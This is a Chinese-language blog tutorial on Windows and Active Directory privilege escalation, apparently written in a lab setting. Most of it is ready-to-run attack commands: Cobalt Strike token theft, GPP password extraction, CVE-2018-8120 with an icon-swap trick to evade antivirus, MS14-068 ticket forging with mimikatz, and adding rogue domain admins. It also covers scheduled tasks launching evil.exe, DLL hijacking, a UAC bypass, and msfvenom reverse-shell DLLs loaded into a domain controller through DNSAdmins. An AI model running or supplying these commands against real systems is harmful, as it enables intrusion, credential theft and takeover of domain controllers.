MYD网络安全实验室一名脚本小子的进阶之路

Windows提权入门

2020-05-25  本文已影响0人  Instu

一、访问令牌伪造

基础知识

windows系统中存在以下两种令牌:

值得一提的是,当授权令牌在用户注销以后会自动转为模拟令牌,而且权限依然有效。在内网渗透时我们经常需要使用令牌伪造进行提权、降权等操作,下面通过具体案例进行说明。

漏洞利用

在一次渗透过程中,我们拿到一台域内主机,看了下权限是普通用户LAB\user1

beacon> getuid
image.png

进一步信息收集发现这是一台windows7系统,并且没有打ms17-010补丁

beacon> shell systeminfo
image.png

使用ms17-010漏洞将权限提到system

image.png image.png

运行ps命令发现目标机器上存在域管进程,尝试访问域管提示拒绝访问

beacon> ps
beacon> shell dir \\test-lab.lab.com\c$
image.png image.png

接下来使用steal_token进行令牌窃取,如下图,伪造完成后就有权限访问域管了

beacon> steal_token 3164
beacon> getuid
beacon> shell dir \\test-lab.lab.com\c$
image.png

如果想撤回令牌可以使用rev2self

beacon> rev2self
beacon> getuid
image.png

二、GPP提权之ms14-025

SYSVOL为全域共享文件夹,所有用户都可读,当域的组策略配置不当时,我们可以读取groups.xml文件。该文件中的密码使用AES256加密,但是微软直接提供了AES密钥,所以我们可以进行解密。

findstr /S /l cpassword \\test-lab.lab.com\sysvol\lab.com\policies\*.xml
\\test-lab.lab.com\sysvol\lab.com\Policies\{19634A19-E8CD-4907-B020-A984884D2383}\Machine\Preferences\Groups\Groups.xml
image.png
use auxiliary/scanner/smb/smb_enum_gpp
set smbuser user1
set smbpass 123456
run
use post/windows/gather/credentials/gpp
set session 1
run
image.png

三、利用CVE提权

CVE-2018-8120

比较常用的一个提权cve,在win7和server 2008上效果不错。不过大部分杀软对网上下载的exp会直接kill。

https://github.com/unamer/CVE-2018-8120
image.png

介绍一种资源混淆免杀的方法,原理就是使用Restorator添加静态资源文件,例如我们给CVE-2018-8120.exe加入360的图标

image.png image.png

添加完成,再次扫描提示无风险,执行命令也可以成功

image.png
CVE-2018-8120.exe whoami
image.png

ms14-068

使用ms14-068可以将域内任何一个普通用户,提升至域管权限。

whoami /user 查看当前用户的SID
net group "domain controllers" /domain 查看域控制器
klist 查看票据
klist purge 清除票据(很重要)
image.png image.png

生成TGT票据文件,并使用mimikatz注入TGT票据

MS14-068.exe -u user1@lab.com -p 123456 -s S-1-5-21-2459985384-3702016611-994786968-1108 -d TEST-LAB.lab.com
mimikatz.exe "kerberos::ptc TGT_user1@lab.com.ccache" exit

票据注入完成后,即可获得域控权限

dir \\test-lab.lab.com\c$ 列出域控的C盘
net user test Test@123 /domain /add 创建域用户
net localgroup administrators test /add /domain 添加域用户到管理员组
net use z: \\test-lab.lab.com\c$ "Test@123" /user:"test" 将域控的C盘映射为本地的Z盘

创建定时任务 反弹shell

net time \\test-lab.lab.com 查看目标的时间
at \\test-lab.lab.com 10:28 c:\evil.exe 添加定时任务
at \\test-lab.lab.com 列出定时任务
at \\test-lab.lab.com 1 /del 删除定时任务

提权辅助工具

使用以下工具可以帮助我们自动枚举系统存在哪些本地提权漏洞
https://github.com/bitsadmin/wesng

systeminfo > test.txt
python wes.py test.txt
image.png

四、dll劫持

实际场景中没有用到过dll劫持,网上找到的解释:
在windows系统中,当我们执行某一个程序时,相应的dll文件会被调用,根据这个思路,我们可以将正常的dll文件替换成恶意dll文件,当管理员打开该程序时,就能达到提权的效果。
我的理解:
dll劫持的核心是找到有权限操作的dll文件,替换成恶意的dll,还需要管理员去打开程序。
实际场景中为了保持原dll的功能不变,最好手动去编写dll文件(但是我不会),所以这里用msf生成dll演示一下。

  1. 例如,当前我们获得了一个普通权限的webshell
image.png
  1. 使用msf生成一个恶意dll文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.139 lport=4444 -f dll -o msvcr110.dll
image.png
  1. 将FlashFXP安装目录下的msvcr110.dll,替换成上一步msf生成的恶意dll
image.png
  1. 当管理员打开FlashFXP时,会加载恶意dll文件,成功提权。但是由于FlashFXP的dll已被破坏,所以软件无法再正常使用了。
image.png

五、将administrator提权到system

  1. 当我们拿到administrator用户的权限时,可以使用如下的方式提权到system。
PsExec64.exe -i -s cmd.exe
image.png
net time \\192.168.80.80
at \\192.168.80.80 11:34 c:/evil.exe
at \\192.168.80.80
at \\192.168.80.80 1 /del
schtasks /create /RL HIGHEST /F /RU SYSTEM /TN TestService1 /SC DAILY /ST 14:17 /TR c:/evil.exe 以system用户创建计划任务
schtasks /query | findstr "Test" 查询计划任务
schtasks /run /TN TestService1 手动运行
schtasks /F /delete /TN "TestService1" 删除计划任务
  1. 当我们拿到加入了administrators组的用户时,需要绕过uac用户账户控制提权到system。
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set session 1
set target 1
exploit
image.png

六、DNSAdmins提权到域控

在域环境中,通常域控也是DNS服务器,如果域用户拥有DNSAdmin权限,则能够在DNS服务器上远程加载dll,进一步实现提权到域管。

  1. 查看用户组
    (DnsAdmins、Domain Admins、Enterprise Admins组内的用户都可以提权)
shell whoami /groups
image.png
  1. 使用msf生成dll文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.80.164 LPORT=4444 --platform=windows -f dll > plugin.dll
  1. 开启smb共享
impacket-smbserver tools ./tools/
image.png
  1. 使用dnscmd.exe远程加载dll,dnscmd.exe下载地址:
    https://github.com/3gstudent/test/blob/master/dnscmd.exe
shell "dnscmd.exe 192.168.80.80 /config /serverlevelplugindll \\192.168.80.164\tools\plugin.dll"
  1. 使用nc监听4444端口
nc -nvvlp 4444
  1. 远程重启dns使dll执行,nc即可获得域控的shell
shell sc \\192.168.80.80 stop dns
shell sc \\192.168.80.80 start dns
image.png
上一篇 下一篇

猜你喜欢

热点阅读